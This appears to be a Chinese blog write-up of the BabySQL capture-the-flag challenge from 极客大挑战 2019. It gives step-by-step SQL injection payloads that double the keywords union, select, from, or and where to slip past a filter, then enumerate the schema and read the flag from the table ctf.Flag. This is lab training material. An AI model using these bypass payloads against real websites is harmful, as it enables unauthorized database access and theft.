[极客大挑战 2019]BabySQL
进入靶场:

-
页面还是一样,估计是加强了过滤。
-
还是用union查询先试一下:
' union select 1,2,3#

-
发现
union和select似乎都被过滤了。 -
尝试用双写绕过:
' ununionion selselectect 1,2,3#

-
成功绕过了,得到回显的位置,那么就好办了。
-
查询所有数据库名:
' ununionion selselectect 1,2,GROUP_CONCAT(schema_name) FROFROMM INFOORRMATION_SCHEMA.SCHEMATA #

-
发现一个数据库
ctf -
接着就查这个数据库查表名
-
经过多次测试,可以发现过滤了:
FROM OR WHERE,均用双写绕过即可 -
最终payload为:
' ununionion selselectect 1,2,GROUP_CONCAT(table_name) FRFROMOM INFOORRMATION_SCHEMA.TABLES WHWHEREERE TABLE_SCHEMA='ctf'#

-
发现一个表,表名为
Flag -
直接盲猜有个列名为flag,得到payload:
' ununionion selselectect 1,2,flag FRFROMOM ctf.Flag#

GET Flag ! ! !
也可以先查询列名…无所谓的
文章讲述了在2019年的一个极客大挑战活动中,作者如何利用双写绕过过滤,进行SQL查询,从发现数据库ctf,到找出表名,最后成功找到含有flag信息的列的过程,展示了SQL注入技术的应用。
2956

被折叠的 条评论
为什么被折叠?



